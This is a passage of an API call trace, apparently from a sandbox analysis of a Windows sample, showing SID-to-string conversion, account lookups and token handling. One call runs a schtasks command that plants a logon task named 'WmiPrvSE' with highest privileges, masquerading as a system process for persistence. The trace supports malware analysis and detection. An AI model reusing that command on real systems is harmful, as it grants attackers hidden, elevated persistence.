IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0088.019] GetLastError () returned 0x7a [0088.019] malloc (_Size=0x14) returned 0xef040 [0088.019] malloc (_Size=0x16) returned 0xeef20 [0088.019] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebccb4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0088.019] malloc (_Size=0x18) returned 0xeef00 [0088.020] malloc (_Size=0x18) returned 0xeef60 [0088.020] free (_Block=0xef040) [0088.020] free (_Block=0xeef20) [0088.020] free (_Block=0xeff30) [0088.020] free (_Block=0xeef60) [0088.020] free (_Block=0xeef00) [0088.020] free (_Block=0xef0a0) [0088.020] free (_Block=0xee240) [0088.021] malloc (_Size=0x48) returned 0xed270 [0088.021] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0088.056] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0088.056] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0088.056] malloc (_Size=0x18) returned 0xef0a0 [0088.056] CreateEnvironmentBlock () returned 0x1 [0088.061] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0088.061] malloc (_Size=0x18) returned 0xeef00 [0088.061] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"WmiPrvSE\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"WmiPrvSE\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x244, dwProcessId=0x938, dwThreadId=0x93c)) returned 1 [0088.067] CloseHandle (hObject=0x2fc) returned 1 [0088.067] CloseHandle (hObject=0x244) returned 1 [0088.067] free (_Block=0xeef00) [0088.067] DestroyEnvironmentBlock () returned 0x1 [0088.068] malloc (_Size=0x48) returned 0xed400 [0088.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5d751f40, dwHighDateTime=0x1d9eb0c)) [0088.068] SetEvent (hEvent=0x1f0) returned 1 [0088.068] CloseHandle (hObject=0x248) returned 1 [0088.068] CloseHandle (hObject=0x2d4) returned 1 [0088.287] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0088.287] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0088.287] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0088.702] SetLastError (dwErrCode=0x0) [0088.702] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0088.702] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0088.702] SetLastError (dwErrCode=0x0) [0088.702] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0088.702] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0088.702] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0088.703] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0088.703] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0088.703] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0088.705] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0088.706] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0088.706] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0088.706] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0088.706] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0088.706] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0088.707] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0088.709] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0088.709] GetCurrentThread () returned 0xfffffffffffffffe [0088.709] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0088.709] malloc (_Size=0xd8) returned 0xf3750 [0088.709] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0088.710] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0088.710] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0088.710] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0088.710] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0088.710] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0088.710] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0088.711] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0088.711] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0088.711] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0088.711] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0088.711] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0088.711] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0088.712] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0088.712] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0088.712] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0088.712] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0088.712] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0088.712] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0088.713] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0088.713] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0088.713] malloc (_Size=0x18) returned 0xef0a0 [0088.713] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x238) returned 1 [0088.713] malloc (_Size=0x48) returned 0xed400 [0088.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5dd91900, dwHighDateTime=0x1d9eb0c)) [0088.713] SetEvent (hEvent=0x1f0) returned 1 [0088.714] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0088.714] GetLastError () returned 0x7a [0088.714] malloc (_Size=0x2c) returned 0xee200 [0088.714] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0088.714] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0088.714] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0088.714] malloc (_Size=0x1c) returned 0xeff00 [0088.714] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0088.714] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0088.715] malloc (_Size=0x18) returned 0xef020 [0088.715] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0088.715] malloc (_Size=0x18) returned 0xeef00 [0088.715] malloc (_Size=0x18) returned 0xeef60 [0088.715] SysStringLen (param_1="S-1-") returned 0x4 [0088.715] SysStringLen (param_1="5") returned 0x1 [0088.715] memcpy (in: _Dst=0x381088, _Src=0x381328, _Size=0xa | out: _Dst=0x381088) returned 0x381088 [0088.715] memcpy (in: _Dst=0x381090, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381090) returned 0x381090 [0088.715] free (_Block=0xef020) [0088.715] free (_Block=0xeef00) [0088.715] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0088.715] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0088.715] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0088.715] malloc (_Size=0x18) returned 0xeef00 [0088.715] malloc (_Size=0x18) returned 0xef020 [0088.715] SysStringLen (param_1="S-1-5") returned 0x5 [0088.715] SysStringLen (param_1="-") returned 0x1 [0088.716] memcpy (in: _Dst=0x3810e8, _Src=0x381088, _Size=0xc | out: _Dst=0x3810e8) returned 0x3810e8 [0088.716] memcpy (in: _Dst=0x3810f2, _Src=0x381328, _Size=0x4 | out: _Dst=0x3810f2) returned 0x3810f2 [0088.716] free (_Block=0xeef60) [0088.716] free (_Block=0xeef00) [0088.716] malloc (_Size=0x18) returned 0xeef00 [0088.716] malloc (_Size=0x18) returned 0xeef60 [0088.716] SysStringLen (param_1="S-1-5-") returned 0x6 [0088.716] SysStringLen (param_1="21") returned 0x2 [0088.716] memcpy (in: _Dst=0x381328, _Src=0x3810e8, _Size=0xe | out: _Dst=0x381328) returned 0x381328 [0088.716] memcpy (in: _Dst=0x381334, _Src=0x381088, _Size=0x6 | out: _Dst=0x381334) returned 0x381334 [0088.716] free (_Block=0xef020) [0088.716] free (_Block=0xeef00) [0088.716] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0088.716] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0088.716] malloc (_Size=0x18) returned 0xeef00 [0088.716] malloc (_Size=0x18) returned 0xef020 [0088.716] SysStringLen (param_1="S-1-5-21") returned 0x8 [0088.716] SysStringLen (param_1="-") returned 0x1 [0088.716] memcpy (in: _Dst=0x381088, _Src=0x381328, _Size=0x12 | out: _Dst=0x381088) returned 0x381088 [0088.717] memcpy (in: _Dst=0x381098, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381098) returned 0x381098 [0088.717] free (_Block=0xeef60) [0088.717] free (_Block=0xeef00) [0088.717] malloc (_Size=0x18) returned 0xeef00 [0088.717] malloc (_Size=0x18) returned 0xeef60 [0088.717] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0088.717] SysStringLen (param_1="4219442223") returned 0xa [0088.717] memcpy (in: _Dst=0x3382c8, _Src=0x381088, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0088.717] memcpy (in: _Dst=0x3382da, _Src=0x381328, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0088.717] free (_Block=0xef020) [0088.717] free (_Block=0xeef00) [0088.717] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0088.717] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0088.717] malloc (_Size=0x18) returned 0xeef00 [0088.717] malloc (_Size=0x18) returned 0xef020 [0088.717] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0088.717] SysStringLen (param_1="-") returned 0x1 [0088.717] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0088.717] memcpy (in: _Dst=0x3376be, _Src=0x381088, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0088.718] free (_Block=0xeef60) [0088.718] free (_Block=0xeef00) [0088.718] malloc (_Size=0x18) returned 0xeef00 [0088.718] malloc (_Size=0x18) returned 0xeef60 [0088.718] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0088.718] SysStringLen (param_1="4223814209") returned 0xa [0088.718] memcpy (in: _Dst=0x34da68, _Src=0x337698, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0088.718] memcpy (in: _Dst=0x34da90, _Src=0x381088, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0088.718] free (_Block=0xef020) [0088.718] free (_Block=0xeef00) [0088.718] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0088.718] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0088.718] malloc (_Size=0x18) returned 0xeef00 [0088.718] malloc (_Size=0x18) returned 0xef020 [0088.718] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0088.718] SysStringLen (param_1="-") returned 0x1 [0088.718] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0088.718] memcpy (in: _Dst=0x34ddd4, _Src=0x381088, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0088.718] free (_Block=0xeef60) [0088.719] free (_Block=0xeef00) [0088.719] malloc (_Size=0x18) returned 0xeef00 [0088.719] malloc (_Size=0x18) returned 0xeef60 [0088.719] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0088.719] SysStringLen (param_1="3835049652") returned 0xa [0088.719] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0088.719] memcpy (in: _Dst=0x34daa6, _Src=0x381088, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0088.719] free (_Block=0xef020) [0088.719] free (_Block=0xeef00) [0088.719] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0088.719] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0088.719] malloc (_Size=0x18) returned 0xeef00 [0088.719] malloc (_Size=0x18) returned 0xef020 [0088.719] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0088.719] SysStringLen (param_1="-") returned 0x1 [0088.719] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0088.719] memcpy (in: _Dst=0x34ddea, _Src=0x381088, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0088.719] free (_Block=0xeef60) [0088.719] free (_Block=0xeef00) [0088.719] malloc (_Size=0x18) returned 0xeef00 [0088.719] malloc (_Size=0x18) returned 0xeef60 [0088.720] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0088.720] SysStringLen (param_1="1000") returned 0x4 [0088.720] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0088.720] memcpy (in: _Dst=0x34dabc, _Src=0x381088, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0088.720] free (_Block=0xef020) [0088.720] free (_Block=0xeef00) [0088.720] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0088.720] malloc (_Size=0x5e) returned 0xf0800 [0088.720] free (_Block=0xeef60) [0088.720] malloc (_Size=0x18) returned 0xeef60 [0088.721] free (_Block=0xf0800) [0088.721] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0088.721] GetLastError () returned 0x7a [0088.721] malloc (_Size=0x14) returned 0xeef00 [0088.721] malloc (_Size=0x16) returned 0xef020 [0088.721] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0088.722] malloc (_Size=0x18) returned 0xeef20 [0088.722] malloc (_Size=0x18) returned 0xef040 [0088.722] free (_Block=0xeef00) [0088.722] free (_Block=0xef020) [0088.723] free (_Block=0xeff00) [0088.723] free (_Block=0xef040) [0088.723] free (_Block=0xeef20) [0088.723] free (_Block=0xeef60) [0088.724] free (_Block=0xee200) [0088.724] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0088.724] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0088.724] GetLastError () returned 0x7a [0088.724] malloc (_Size=0x2c) returned 0xee240 [0088.724] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0088.724] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0088.724] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0088.724] malloc (_Size=0x1c) returned 0xeff00 [0088.724] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0088.724] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0088.724] malloc (_Size=0x18) returned 0xeef60 [0088.724] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0088.724] malloc (_Size=0x18) returned 0xeef20 [0088.724] malloc (_Size=0x18) returned 0xef040 [0088.725] SysStringLen (param_1="S-1-") returned 0x4 [0088.725] SysStringLen (param_1="5") returned 0x1 [0088.725] memcpy (in: _Dst=0x381328, _Src=0x3810e8, _Size=0xa | out: _Dst=0x381328) returned 0x381328 [0088.725] memcpy (in: _Dst=0x381330, _Src=0x381088, _Size=0x4 | out: _Dst=0x381330) returned 0x381330 [0088.725] free (_Block=0xeef60) [0088.725] free (_Block=0xeef20) [0088.725] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0088.725] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0088.725] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0088.726] malloc (_Size=0x18) returned 0xeef20 [0088.726] malloc (_Size=0x18) returned 0xeef60 [0088.726] SysStringLen (param_1="S-1-5") returned 0x5 [0088.726] SysStringLen (param_1="-") returned 0x1 [0088.727] memcpy (in: _Dst=0x381088, _Src=0x381328, _Size=0xc | out: _Dst=0x381088) returned 0x381088 [0088.727] memcpy (in: _Dst=0x381092, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381092) returned 0x381092 [0088.727] free (_Block=0xef040) [0088.727] free (_Block=0xeef20) [0088.727] malloc (_Size=0x18) returned 0xeef20 [0088.727] malloc (_Size=0x18) returned 0xef040 [0088.727] SysStringLen (param_1="S-1-5-") returned 0x6 [0088.727] SysStringLen (param_1="21") returned 0x2 [0088.727] memcpy (in: _Dst=0x3810e8, _Src=0x381088, _Size=0xe | out: _Dst=0x3810e8) returned 0x3810e8 [0088.727] memcpy (in: _Dst=0x3810f4, _Src=0x381328, _Size=0x6 | out: _Dst=0x3810f4) returned 0x3810f4 [0088.727] free (_Block=0xeef60) [0088.727] free (_Block=0xeef20) [0088.727] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0088.727] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0088.727] malloc (_Size=0x18) returned 0xeef20 [0088.727] malloc (_Size=0x18) returned 0xeef60 [0088.727] SysStringLen (param_1="S-1-5-21") returned 0x8 [0088.727] SysStringLen (param_1="-") returned 0x1 [0088.728] memcpy (in: _Dst=0x381328, _Src=0x3810e8, _Size=0x12 | out: _Dst=0x381328) returned 0x381328 [0088.728] memcpy (in: _Dst=0x381338, _Src=0x381088, _Size=0x4 | out: _Dst=0x381338) returned 0x381338 [0088.728] free (_Block=0xef040) [0088.728] free (_Block=0xeef20) [0088.728] malloc (_Size=0x18) returned 0xeef20 [0088.728] malloc (_Size=0x18) returned 0xef040 [0088.728] SysStringLen 